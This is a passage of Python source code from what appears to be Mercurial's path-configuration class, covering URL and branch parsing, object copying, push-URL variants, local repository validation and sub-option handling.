         ``name`` is the symbolic name of the path.
         ``rawloc`` is the raw location, as defined in the config.
         ``_pushloc`` is the raw locations pushes should be made to.
                      (see the `get_push_variant` method)
 
         If ``name`` is not defined, we require that the location be a) a local
         filesystem path with a .hg directory or b) a URL. If not,
         ``ValueError`` is raised.
         """
         if ui is None:
             # used in copy
             assert name is None
             assert rawloc is None
             assert suboptions is None
             return
 
         if not rawloc:
             raise ValueError(b'rawloc must be defined')
 
         self.name = name
 
         # set by path variant to point to their "non-push" version
         self.main_path = None
         self._setup_url(rawloc)
 
         if validate_path:
             self._validate_path()
 
         _path, sub_opts = ui.configsuboptions(b'paths', b'*')
         self._own_sub_opts = {}
         if suboptions is not None:
             self._own_sub_opts = suboptions.copy()
             sub_opts.update(suboptions)
         self._all_sub_opts = sub_opts.copy()
 
         self._apply_suboptions(ui, sub_opts)
 
     def _setup_url(self, rawloc):
         # Locations may define branches via syntax <base>#<branch>.
         u = url(rawloc)
         branch = None
         if u.fragment:
             branch = u.fragment
             u.fragment = None
 
         self.url = u
         # the url from the config/command line before dealing with `path://`
         self.raw_url = u.copy()
         self.branch = branch
 
         self.rawloc = rawloc
         self.loc = b'%s' % u
 
     def copy(self, new_raw_location=None):
         """make a copy of this path object
 
         When `new_raw_location` is set, the new path will point to it.
         This is used by the scheme extension so expand the scheme.
         """
         new = self.__class__()
         for k, v in self.__dict__.items():
             new_copy = getattr(v, 'copy', None)
             if new_copy is not None:
                 v = new_copy()
             new.__dict__[k] = v
         if new_raw_location is not None:
             new._setup_url(new_raw_location)
         return new
 
     @property
     def is_push_variant(self):
         """is this a path variant to be used for pushing"""
         return self.main_path is not None
 
     def get_push_variant(self):
         """get a "copy" of the path, but suitable for pushing
 
         This means using the value of the `pushurl` option (if any) as the url.
 
         The original path is available in the `main_path` attribute.
         """
         if self.main_path:
             return self
         new = self.copy()
         new.main_path = self
         if self._pushloc:
             new._setup_url(self._pushloc)
         return new
 
     def _validate_path(self):
         # When given a raw location but not a symbolic name, validate the
         # location is valid.
         if (
             not self.name
             and not self.url.scheme
             and not self._isvalidlocalpath(self.loc)
         ):
             raise ValueError(
                 b'location is not a URL or path to a local '
                 b'repo: %s' % self.rawloc
             )
 
     def _apply_suboptions(self, ui, sub_options):
         # Now process the sub-options. If a sub-option is registered, its
         # attribute will always be present. The value will be None if there
         # was no valid sub-option.
         for suboption, (attr, func) in _pathsuboptions.items():
             if suboption not in sub_options:
                 setattr(self, attr, None)
                 continue
 
             value = func(ui, self, sub_options[suboption])
             setattr(self, attr, value)
 
     def _isvalidlocalpath(self, path):
         """Returns True if the given path is a potentially valid repository.
         This is its own function so that extensions can change the definition of
         'valid' in this case (like when pulling from a git repo into a hg
         one)."""
         try:
             return os.path.isdir(os.path.join(path, b'.hg'))
         # Python 2 may return TypeError. Python 3, ValueError.
         except (TypeError, ValueError):
             return False
 
     @property
     def suboptions(self):
         """Return sub-options and their values for this path.
 
         This is intended to be used for presentation purposes.
         """
         d = {}
         for subopt, (attr, _func) in _pathsuboptions.items():
             value = getattr(self, attr)
             if value is not None:
                 d[subopt] = value
         return d